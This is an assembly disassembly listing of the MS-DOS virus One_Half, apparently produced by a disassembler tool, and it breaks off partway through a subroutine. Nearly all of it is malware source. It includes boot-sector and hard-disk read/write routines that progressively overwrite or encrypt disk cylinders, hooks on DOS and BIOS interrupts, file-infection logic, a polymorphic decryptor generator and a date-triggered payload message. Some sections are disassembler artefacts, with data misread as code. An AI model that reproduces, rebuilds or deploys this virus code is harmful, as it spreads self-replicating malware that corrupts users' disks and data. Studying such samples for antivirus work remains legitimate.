PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ ONE_HALF ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 19-Oct-94 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ target EQU 'M5' ; Target assembler: MASM-5.1 ;include srmacros.inc ; The following equates show data references outside the range of the program. data_1e equ 2Ch data_2e equ 70h data_3e equ 72h data_4e equ 84h data_6e equ 100h data_7e equ 2A0h data_8e equ 2A2h data_9e equ 2A9h data_10e equ 2ADh data_11e equ 2B8h main_ram_size_ equ 413h timer_low_ equ 46Ch data_12e equ 56Ah ;* data_13e equ 600h ;* data_14e equ 7BEh ;* data_15e equ 7D1h ;* data_16e equ 0BABh ;* data_17e equ 0DD6h ;* data_18e equ 0 ;* data_19e equ 3 ;* data_20e equ 0 data_21e equ 1 data_22e equ 3 data_23e equ 10h data_24e equ 12h data_25e equ 16h data_26e equ 1Ah data_27e equ 22h data_28e equ 24h data_29e equ 26h data_30e equ 2Ah data_31e equ 34h data_32e equ 3Ch data_33e equ 3Eh data_34e equ 40h data_35e equ 4Ch data_37e equ 70h data_39e equ 86h data_40e equ 0A4h data_41e equ 0A6h data_42e equ 0A8h data_43e equ 0AAh data_44e equ 0C6h data_45e equ 0F8h data_46e equ 0FFh data_105e equ 0F35h ;* data_107e equ 0F39h ;* data_108e equ 0F55h ;* data_109e equ 0F5Fh ;* data_111e equ 0F63h ;* data_112e equ 0F65h ;* data_113e equ 0F67h ;* data_114e equ 0FB4h ;* data_115e equ 1007h ;* data_116e equ 1701h ;* data_117e equ 1B00h ;* data_118e equ 4E01h ;* data_119e equ 7C00h ;* data_120e equ 0BC61h ;* data_121e equ 0C400h ;* data_122e equ 0DE8h data_123e equ 0DEAh data_124e equ 0 seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h one_half proc far start: pop dx add ds:data_46e[bx],bx add [bx+si],al add [bp+di+4Fh],al dec bp dec bp inc cx dec si inc sp add [di+5Ah],cl mov [bx+si],ax adc al,[bx+si] add [bx+si],al add al,[bx+si] jnz loc_4 ; Jump if not zero db 0FFh,0FFh, 76h loc_4: add si,ax add al,[bx+di] add [bx+si],al add [bx+si],cl add bl,ds:data_121e add bp,ss:data_118e[bp+di] add al,2Fh ; '/' add ss:data_117e[bp+si],bl add cl,ds:data_116e[bx] add si,si add cl,dl add ss:data_115e[bp+si],si jmp short $-42h ;* No entry point to code call sub_2 mov cx,1004h jnc $+5Ah ; Jump if carry=0 pop bx pop cx pop dx dec cx test al,1Dh mov cx,698Eh clc ; Clear carry flag push cx loc_6: mov cl,4 shr ax,cl ; Shift w/zeros fill mov cx,es add cx,ax push es inc sp lds dx,dword ptr [bx+si] ; Load 32 bit ptr or [bx+si],al loc_7: db 60h, 5Ch,0BAh, 0Fh,0F4h,0FFh db 3Fh,0EAh, 2Eh, 03h, 01h, 9Ch db 2Eh, 0Bh, 07h, 91h locloop_8: movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] sub si,4 loop locloop_8 ; Loop if cx > 0 or word ptr [bp+di],0FFDBh jnz loc_6 ; Jump if not zero cld ; Clear direction push es loc_10: pop ds lea si,[di+2] ; Load effective addr ;* jz loc_9 ;*Jump if zero db 74h,0F4h ; Fixup - byte match jc loc_10 ; Jump if carry Set add bp,bp dec dx jz loc_7 ; Jump if zero ;* jc loc_5 ;*Jump if carry Set db 72h, 95h ; Fixup - byte match mov dl,10h jmp short loc_11 ;* No entry point to code lodsw ; String [si] to ax xchg bp,ax mov dl,10h ;* jmp short loc_13 ;* db 0EBh, 75h ; Fixup - byte match ;* No entry point to code add al,0F3h stosw ; Store ax to es:[di] ;* jmp short loc_12 ;* db 0EBh, 2Ah ; Fixup - byte match ;* No entry point to code stosb ; Store al to es:[di] xchg al,ah dec cx adc [bx+si],al one_half endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near push ds add [bx+si],al add dh,[bp+di] db 0DBh,0FAh,0BCh, 00h, 7Ch, 8Eh db 0D3h,0FBh, 8Eh,0DBh, 83h, 2Eh db 13h, 04h, 04h loc_11: mov cl,6 int 12h ; Put (memory size)/1K in ax shl ax,cl ; Shift w/zeros fill mov dx,80h mov es,ax mov cx,0Bh mov ax,207h push es int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head mov ax,0D3h push ax retf sub_2 endp ;* No entry point to code mov ds:data_39e,cs mov ax,word ptr ds:[46Ch] push ds push cs pop ds mov word ptr ds:[56Ah],ax mov ax,cs inc ax mov ds:data_21e,ax mov byte ptr ds:[0CEBh],0 call sub_3 pop es mov bx,sp push es mov si,es:[bx+29h] ;* cmp si,7 db 81h,0FEh, 07h, 00h ; Fixup - byte match jbe loc_19 ; Jump if below or = push si sub si,2 mov word ptr ds:[140h],si pop si mov ah,8 int 13h ; Disk dl=drive a ah=func 08h ; get drive parameters, bl=type ; cx=cylinders, dh=max heads ; es:di= ptr to drive table jc loc_19 ; Jump if carry Set mov al,cl and al,3Fh ; '?' mov byte ptr ds:[0E2Dh],al mov cl,1 mov bh,7Eh ; '~' mov word ptr ds:[0E2Fh],bx mov dl,80h loc_14: dec si call sub_4 push dx loc_15: mov ah,2 push ax int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head pop ax jc loc_16 ; Jump if carry Set call $+0D00h inc ah push ax int 13h ; Disk dl=drive 0 ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head pop ax loc_16: jc loc_21 ; Jump if carry Set test dh,3Fh ; '?' jz loc_17 ; Jump if zero dec dh jmp short loc_15 loc_17: pop dx cmp si,3A7h ja loc_14 ; Jump if above loc_18: mov bh,7Ch ; '|' mov es:[bx+29h],si mov ax,301h mov cx,1 mov dh,ch int 13h ; Disk dl=drive 0 ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head loc_19: mov word ptr ds:[0EEEh],si cmp si,19Ch ja loc_20 ; Jump if above call sub_5 loc_20: mov ax,201h mov bx,data_119e mov cx,ds:data_44e dec cx mov dx,80h int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head cli ; Disable interrupts les ax,dword ptr es:data_35e ; Load 32 bit ptr mov ds:data_105e,ax mov word ptr ds:data_105e+2,es pop es push es les ax,dword ptr es:data_37e ; Load 32 bit ptr mov word ptr ds:[205h],ax mov word ptr ds:[207h],es pop es push es mov word ptr es:data_35e,0E45h mov word ptr es:data_35e+2,cs mov word ptr es:data_37e,1D1h mov word ptr es:data_37e+2,cs sti ; Enable interrupts push bx retf ; Return far loc_21: xor ah,ah ; Zero register push ax int 13h ; Disk dl=drive a ah=func 00h ; reset disk, al=return status pop ax loc_22: inc dh mov ah,dh pop dx push dx cmp ah,dh ja loc_23 ; Jump if above mov dh,ah mov ah,2 push ax int 13h ; Disk dl=drive a ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head pop ax call $+0C68h inc ah push ax int 13h ; Disk dl=drive a ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head pop ax jmp short loc_22 loc_23: pop dx inc si jmp loc_18 ;* No entry point to code push ax push ds push es xor ax,ax ; Zero register mov ds,ax les ax,dword ptr ds:data_4e ; Load 32 bit ptr mov word ptr cs:[0DE8h],ax mov ax,es cmp ax,800h ja loc_24 ; Jump if above mov word ptr cs:[0DEAh],ax les ax,dword ptr cs:[205h] ; Load 32 bit ptr mov ds:data_2e,ax mov ds:data_3e,es mov word ptr ds:data_4e,0C5Dh mov word ptr ds:data_4e+2,cs loc_24: pop es pop ds pop ax ;* jmp far ptr loc_158 ;* db 0EAh dw 0FF53h, 0F000h ; Fixup - byte match ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near mov si,772h mov di,0DD8h mov cx,15Dh cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near push ax mov ax,si mov ch,al push cx mov cl,4 shl ah,cl ; Shift w/zeros fill pop cx mov al,3Fh ; '?' and dh,al and cl,al not al push ax and ah,al or dh,ah pop ax shl ah,1 ; Shift w/zeros fill shl ah,1 ; Shift w/zeros fill and ah,al or cl,ah pop ax retn sub_4 endp db 'Dis is one half.', 0Dh, 0Ah, 'Pr' db 'ess any key to continue ...', 0Dh db 0Ah ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near mov ah,4 int 1Ah ; Real time clock ah=func 04h ; get date cx=year, dx=mon/day jc loc_ret_26 ; Jump if carry Set test dl,3 jnz loc_ret_26 ; Jump if not zero test word ptr ds:[0DD6h],1 jnz loc_ret_26 ; Jump if not zero mov cx,31h mov si,239h mov ah,0Fh int 10h ; Video display ah=functn 0Fh ; get state, al=mode, bh=page ; ah=columns on screen mov bl,7 mov ah,0Eh locloop_25: lodsb ; String [si] to al int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode loop locloop_25 ; Loop if cx > 0 xor ah,ah ; Zero register int 16h ; Keyboard i/o ah=function 00h ; get keybd char in al, ah=scan loc_ret_26: retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push bx mov bx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset pop bx retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near pushf ; Push flags cli ; Disable interrupts ;* call far ptr sub_1 ;* db 9Ah dw 774h, 70h ; Fixup - byte match retn sub_7 endp ;* No entry point to code push bp mov bp,sp jmp short loc_27 ;* No entry point to code cmp word ptr [bp+4],253h ja loc_28 ; Jump if above push ax push bx push ds lds ax,dword ptr [bp+2] ; Load 32 bit ptr mov bx,469h mov word ptr cs:[2A0h][bx],ax mov word ptr cs:[2A2h][bx],ds mov byte ptr cs:[2A9h][bx],23h ; '#' pop ds pop bx pop ax loc_27: and byte ptr [bp+7],0FEh loc_28: pop bp iret ; Interrupt return loc_29: pop bx pop ax push ax dec ax mov ds,ax cmp byte ptr ds:data_124e,5Ah ; 'Z' jne loc_31 ; Jump if not equal add ax,ds:data_22e sub ax,0FFh mov dx,cs mov si,bx mov cl,4 shr si,cl ; Shift w/zeros fill add dx,si mov si,cs:data_26e[bx] cmp si,106h jae loc_30 ; Jump if above or = mov si,106h loc_30: add dx,si cmp ax,dx jb loc_31 ; Jump if below mov byte ptr ds:data_20e,4Dh ; 'M' sub word ptr ds:data_22e,100h mov ds:data_24e,ax mov es,ax push cs pop ds inc ax mov ds:data_21e,ax mov byte ptr ds:[0BABh][bx],0EBh mov si,bx xor di,di ; Zero register mov cx,0DD8h rep movsb ; Rep when cx >0 Mov [si] to es:[di] push es pop ds call sub_3 xor ax,ax ; Zero register mov ds,ax cli ; Disable interrupts mov ax,ds:data_4e mov es:data_122e,ax mov ax,word ptr ds:data_4e+2 mov es:data_123e,ax mov word ptr ds:data_4e,0C5Dh mov word ptr ds:data_4e+2,es sti ; Enable interrupts loc_31: jmp loc_39 db 0E8h, 00h, 00h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near pop si sub si,352h mov ds:data_11e[si],si push es push si cld ; Clear direction inc word ptr ds:data_17e[si] mov byte ptr ds:data_16e[si],74h ; 't' xor ax,ax ; Zero register mov es,ax mov ax,es:timer_low_ mov ds:data_12e[si],ax mov ds:data_15e[si],ax mov ax,4B53h int 21h ; ??INT Non-standard interrupt int 3 ; Debug breakpoint dec bx inc bp jz loc_32 ; Jump if zero mov ah,52h int 21h ; DOS Services ah=function 52h ; get DOS data table ptr es:bx ;* undocumented function mov ax,es:[bx-2] mov ds:data_10e[si],ax mov byte ptr ds:data_9e[si],0 mov ax,3501h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx push bx push es mov ax,3513h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_7e[si],bx mov ds:data_8e[si],es mov ax,2501h ;* lea dx,loc_1[si] ;*Load effective addr db 8Dh, 94h,0A5h, 02h ; Fixup - byte match int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx lea bx,cs:[0DD8h][si] ; Load effective addr mov cx,1 mov dx,80h push cs pop es pushf ; Push flags pop ax or ah,1 push ax popf ; Pop flags mov ax,201h call sub_7 pushf ; Push flags pop ax and ah,0FEh push ax popf ; Pop flags pop ds pop dx pushf ; Push flags mov ax,2501h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx popf ; Pop flags jc loc_36 ; Jump if carry Set push cs pop ds cmp word ptr [bx+25h],0D3h jne loc_33 ; Jump if not equal loc_32: jmp loc_38 loc_33: cmp word ptr ds:[180h][bx],72Eh je loc_36 ; Jump if equal mov ah,8 mov dl,80h call sub_7 jc loc_36 ; Jump if carry Set and cx,3Fh mov byte ptr ds:[814h][si],cl mov byte ptr ds:[89Eh][si],cl and dh,3Fh ; '?' mov byte ptr ds:[8A7h][si],dh mov ax,301h sub cl,7 mov byte ptr ds:[819h][si],cl mov dx,80h call sub_7 jc loc_36 ; Jump if carry Set push cx push dx push si xchg di,si mov cx,4 add bx,1EEh locloop_34: mov al,[bx+4] cmp al,1 je loc_37 ; Jump if equal cmp al,4 jb loc_35 ; Jump if below cmp al,6 jbe loc_37 ; Jump if below or = loc_35: sub bx,10h loop locloop_34 ; Loop if cx > 0 pop si pop dx pop cx loc_36: jmp loc_29 loc_37: mov cx,[bx+2] mov dh,[bx+1] call sub_16 add si,7 mov ds:data_45e[di],si xchg si,ax mov cx,[bx+6] mov dh,[bx+1] call sub_16 mov word ptr ds:[882h][di],si mov word ptr ds:[48Ch][di],si add ax,si shr ax,1 ; Shift w/zeros fill mov word ptr ds:[15Ah][di],ax pop si pop dx pop cx mov ax,307h xchg bx,si inc cx mov ds:data_44e[bx],cx call sub_7 jc loc_36 ; Jump if carry Set lea si,ds:data_43e[bx] ; Load effective addr lea di,ds:[0DD8h][bx] ; Load effective addr push di mov cx,29h rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ax,332h stosw ; Store ax to es:[di] mov ax,301h pop bx mov cx,1 call sub_7 jc loc_36 ; Jump if carry Set loc_38: pop bx loc_39: push cs pop ds push cs pop es lea si,ds:data_34e[bx] ; Load effective addr ;* add bx,data_30e db 81h,0C3h, 2Ah, 00h ; Fixup - byte match mov cx,0Ah locloop_40: mov di,[bx] push cx mov cx,0Ah rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop cx inc bx inc bx loop locloop_40 ; Loop if cx > 0 pop es add bx,0FFD2h mov di,es add di,10h add [bx+16h],di add [bx+0Eh],di cmp word ptr [bx+6],0 je loc_45 ; Jump if equal mov ds,es:data_1e xor si,si ; Zero register loc_41: inc si cmp word ptr [si],0 jne loc_41 ; Jump if not equal add si,4 xchg dx,si mov ax,3D00h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jc loc_48 ; Jump if carry Set push cs pop ds mov word ptr ds:[287h][bx],ax mov dx,[bx+18h] mov ax,4200h call sub_6 push es xchg di,ax loc_42: push ax lea dx,cs:[54Dh][bx] ; Load effective addr mov cx,[bx+6] cmp cx,29Eh jb loc_43 ; Jump if below mov cx,29Eh loc_43: sub [bx+6],cx push cx shl cx,1 ; Shift w/zeros fill shl cx,1 ; Shift w/zeros fill mov ah,3Fh ; '?' call sub_6 jc loc_48 ; Jump if carry Set pop cx pop ax xchg si,dx locloop_44: add [si+2],ax les di,dword ptr [si] ; Load 32 bit ptr add es:[di],ax add si,4 loop locloop_44 ; Loop if cx > 0 cmp word ptr [bx+6],0 ja loc_42 ; Jump if above pop es mov ah,3Eh ; '>' call sub_6 loc_45: push es pop ds cmp byte ptr cs:[bx+12h],0 jne loc_46 ; Jump if not equal mov si,bx mov di,data_6e mov cx,3 rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop ax jmp short loc_47 loc_46: pop ax cli ; Disable interrupts mov sp,cs:[bx+10h] mov ss,cs:[bx+0Eh] sti ; Enable interrupts loc_47: jmp dword ptr cs:[bx+14h] ;* loc_48: mov ah,4Ch int 21h ; DOS Services ah=function 4Ch ; terminate with al=return code ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_9: mov word ptr cs:[5A8h],si push ax push bx push cx push dx mov cx,1624h mov bx,2B28h mov dx,15Ah mov ax,4E35h xchg si,ax xchg dx,ax test ax,ax jz loc_49 ; Jump if zero mul bx ; dx:ax = reg * ax loc_49: jcxz loc_50 ; Jump if cx=0 xchg cx,ax mul si ; dx:ax = reg * ax add ax,cx loc_50: xchg si,ax mul bx ; dx:ax = reg * ax add dx,si inc ax adc dx,0 mov word ptr cs:[56Ah],ax mov word ptr cs:[567h],dx mov ax,dx pop cx xor dx,dx ; Zero register jcxz loc_51 ; Jump if cx=0 div cx ; ax,dx rem=dx:ax/reg loc_51: pop cx pop bx pop ax pop si push si cmp byte ptr cs:[si],0CCh loc_52: je loc_52 ; Jump if equal mov si,5CBh retn sub_8 endp ;* No entry point to code add [bx+si+1],dx push ss add [bx],bx add di,word ptr ds:[469h][bx] add di,ds:data_120e[bx+si] add dh,[bx+di] add ax,8104h db 0C0h data_76 dw 0CAABh db 01h, 47h, 04h, 81h,0FFh, 41h db 12h, 02h, 75h,0EFh, 90h,0F9h db 0F8h,0FBh, 2Eh, 36h, 3Eh,0FCh db 0FDh,0F5h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near or dx,dx ; Zero ? jz loc_ret_54 ; Jump if zero push si push cx push dx mov cx,dx locloop_53: mov si,5CBh mov dx,0Ah call sub_9 add si,dx movsb ; Mov [si] to es:[di] loop locloop_53 ; Loop if cx > 0 pop dx pop cx pop si loc_ret_54: retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near mov ax,dx inc dx call sub_9 sub ax,dx call sub_10 xchg dx,ax rep movsb ; Rep when cx >0 Mov [si] to es:[di] ;* cmp bx,data_32e db 81h,0FBh, 3Ch, 00h ; Fixup - byte match jnz loc_55 ; Jump if not zero mov ax,ds:data_31e sub ax,di add ax,0F3Bh sub ax,[bx] dec di stosb ; Store al to es:[di] loc_55: call sub_10 retn sub_11 endp ;* No entry point to code mov dh,5 mov bx,0BE05h add ax,5B2h mov bx,0C205h add ax,5C5h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_12 proc near loc_56: lodsw ; String [si] to ax xchg di,ax mov al,dl cmp si,61Eh jne loc_57 ; Jump if not equal and al,5 cmp al,1 jne loc_58 ; Jump if not equal mov al,7 loc_57: cmp si,618h jne loc_58 ; Jump if not equal mov cl,3 shl al,cl ; Shift w/zeros fill or [di],al or al,0C7h jmp short loc_59 loc_58: or [di],al or al,0F8h loc_59: and [di],al cmp si,61Ah je loc_ret_60 ; Jump if equal cmp si,622h je loc_ret_60 ; Jump if equal jmp short loc_56 loc_ret_60: retn sub_12 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near mov dx,2 call sub_9 mov byte ptr ds:[5AEh],0Eh or dx,dx ; Zero ? jz loc_61 ; Jump if zero mov byte ptr ds:[5AEh],16h loc_61: mov si,614h loc_62: mov dx,8 call sub_9 cmp dl,4 je loc_62 ; Jump if equal mov bl,dl call sub_12 mov si,61Ah loc_63: mov dx,3 call sub_9 add dl,6 cmp dl,8 jne loc_64 ; Jump if not equal mov dl,3 loc_64: cmp dl,bl je loc_63 ; Jump if equal call sub_12 xor cx,cx ; Zero register mov di,2Ah loc_65: cmp cx,9 jne loc_67 ; Jump if not equal loc_66: mov dx,0C8h call sub_9 sub dx,64h add dx,ds:data_31e cmp dx,0 jl loc_66 ; Jump if < cmp dx,data_76 jge loc_66 ; Jump if > or = jmp short loc_68 loc_67: mov dx,45Ah call sub_9 loc_68: jcxz loc_71 ; Jump if cx=0 mov si,data_30e push cx locloop_69: lodsw ; String [si] to ax sub ax,dx cmp ax,0Ah jge loc_70 ; Jump if > or = cmp ax,0FFF6h jle loc_70 ; Jump if < or = pop cx jmp short loc_65 loc_70: loop locloop_69 ; Loop if cx > 0 pop cx loc_71: xchg dx,ax stosw ; Store ax to es:[di] inc cx cmp cx,0Ah jb loc_65 ; Jump if below mov bx,data_30e mov si,5ABh loc_72: mov di,0F3Bh lodsb ; String [si] to al mov cl,al mov dx,8 sub dx,cx mov ax,[bx+2] sub ax,[bx] cmp ax,0Ah jne loc_73 ; Jump if not equal inc dx inc dx call sub_11 inc bx inc bx jmp short loc_75 loc_73: call sub_9 call sub_11 mov dx,di sub dx,0F38h add dx,[bx] mov al,0E9h stosb ; Store al to es:[di] inc bx inc bx mov ax,[bx] sub ax,dx cmp ax,7Eh jg loc_74 ; Jump if > cmp ax,0FF7Fh jl loc_74 ; Jump if < inc ax mov byte ptr [di-1],0EBh stosb ; Store al to es:[di] jmp short loc_75 loc_74: stosw ; Store ax to es:[di] loc_75: push bx push cx mov cx,0 mov dx,1E26h add dx,[bx-2] adc cx,0 push cx push dx call sub_21 mov cx,0Ah mov dx,0A4h add word ptr ds:[74Ah],cx call sub_19 pop dx pop cx jc loc_76 ; Jump if carry Set call sub_21 xchg cx,di mov dx,0F3Bh sub cx,dx ;* call sub_18 ;* db 0E8h, 6Bh, 01h ; Fixup - byte match loc_76: pop cx pop bx jc loc_ret_77 ; Jump if carry Set ;* cmp bx,3Eh db 81h,0FBh, 3Eh, 00h ; Fixup - byte match jnc loc_ret_77 ; Jump if carry=0 jmp loc_72 loc_ret_77: retn sub_13 endp ;* No entry point to code mov cx,0DD8h xor dx,dx ; Zero register call sub_14 mov ah,40h ; '@' mov bx,ds:data_107e pushf ; Push flags call far ptr $-881h jc loc_78 ; Jump if carry Set cmp ax,cx loc_78: pushf ; Push flags call sub_14 popf ; Pop flags retn ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near push cx mov si,dx mov ax,0 mov cx,0DD8h locloop_79: xor [si],ax add ax,0 inc si loop locloop_79 ; Loop if cx > 0 pop cx retn sub_14 endp db 0B0h, 03h,0CFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_15 proc near pushf ; Push flags call dword ptr cs:data_105e retn sub_15 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near push cx push dx shr cl,1 ; Shift w/zeros fill shr cl,1 ; Shift w/zeros fill and dh,0C0h or dh,cl mov cl,4 shr dh,cl ; Shift w/zeros fill mov dl,ch xchg si,dx pop dx pop cx retn sub_16 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_17 proc near push ax push bx push cx mov al,0 mov bx,data_20e loc_80: mov cx,100h 